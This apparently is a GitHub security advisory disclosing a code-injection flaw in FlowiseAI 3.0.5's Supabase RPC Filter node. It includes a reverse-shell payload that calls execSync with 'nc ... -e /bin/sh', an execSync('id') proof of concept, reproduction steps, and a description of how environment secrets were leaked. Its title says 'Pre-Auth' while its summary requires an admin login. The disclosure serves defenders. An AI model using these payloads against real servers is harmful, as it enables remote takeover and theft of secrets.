Skip to content

FlowiseAI Pre-Auth Arbitrary Code Execution

Critical
HenryHengZJ published GHSA-7944-7c6r-55vv Sep 13, 2025

Package

npm flowise (npm)

Affected versions

3.0.5

Patched versions

3.0.6

Description

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

image(3)

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

image(4)

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

image(5)

image-1
image-2

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

image(6)

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

  2. Login as an admin user.

  3. Drag in a Supabase node and configure "Supabase RPC Filter".

  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits